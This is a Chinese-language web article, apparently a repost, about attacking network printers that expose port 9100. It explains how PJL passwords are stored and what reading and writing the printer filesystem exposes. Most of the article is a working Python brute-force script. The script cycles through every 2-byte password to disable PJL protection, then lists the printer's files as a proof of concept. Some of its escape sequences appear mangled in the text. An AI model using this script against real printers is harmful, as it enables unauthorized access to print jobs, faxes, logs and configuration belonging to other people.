| 若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),通过爆破可以将 PJL  的密码安全保护禁用,最终执行任意PJL命令。如果直接通过9100端口执行PJL命令,说明存在未授权访问。 PJL是打印控制语言PCL的扩展。文章前面部分已经介绍过,这里是针对认证PJL的爆破,否则无法使用PJL命令。危害:通过 PJL  除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问,进而可绕过密码验证通过 PJL  对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。 9100端口一般为JetDirect的端口,JetDirect虽然是惠普设计的,但是众多打印机都使用该软件,包括Canon、Lexmark、Samsung和Xerox。该软件负责处理通过网络提交的打印请求。网络打印机通过JetDirect协议,侦听,接收打印请求数据。 如下是PJL密码存储格式: @PJL JOB PASSWORD=0  @PJL DEFAULT PASSWORD=12345  @PJL DEFAULT DISKLOCK=ON  @PJL DEFAULT CPLOCK=ON 
 可通过 内存和文件系统读取获取密码,或暴力破解。 爆破代码python3如下: import socket import sys  def main():     if len(sys.argv)<=1:         print('Parameters error')         return     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)     s.settimeout(10)     s.connect((sys.argv[1],9100))     s.settimeout(None)     # 发送读取设备ID的PJL指令     s.send(('33%-12345X@PJL INFO IDrn33%-12345Xrn').encode('UTF-8'))     print(s.recv(1024).decode('UTF-8'))      for i in range(1, 65536):         buf = b''         # 发送重置密码的PJL指令         s.send(('33%-12345X@PJL rn@PJL JOB PASSWORD=' + str(i) + 'rn@PJL DEFAULT PASSWORD=0 rn@PJL EOJrn33%-12345Xrn').encode('UTF-8'))         if i%30 == 0:             # 发送查询密码保护状态的PJL指令             s.send(('33%-12345X@PJL rn@PJL DINQUIRE PASSWORDrn33%-12345Xrn').encode('UTF-8'))             while True:                 buf += s.recv(1)                 print(buf)                 try:                     buf.index(b'rnx0c')                     try:                         # 密码保护被禁用                         buf.index(b'DISABLED')                         print('password disabled ok!')                         # 发送查询目录的PJL指令                         s.send(('33%-12345X@PJL rn@PJL FSDIRLIST NAME = "0:" ENTRY=1 COUNT=99rn33%-12345Xrn').encode('UTF-8'))                         buf = b''                         while True:                             buf += s.recv(1)                             print(buf)                             try:                                 buf.index(b'rnx0c')                                 try:                                     # 查询成功                                     buf.index(b'ENTRY')                                     print('PoC OK!')                                     return                                 except ValueError:                                     print('PoC NO!')                                     return                             except ValueError:                                 continue                     except ValueError:                         print('password disabled faild!')                     finally:                         s.close()                         return                 except ValueError:                     continue     s.close()  if __name__ == '__main__':     main() 
 pft使用此脚本爆破: 
 返回password disabled ok!,说明成功禁用PJL密码保护。 (编辑:宣城站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |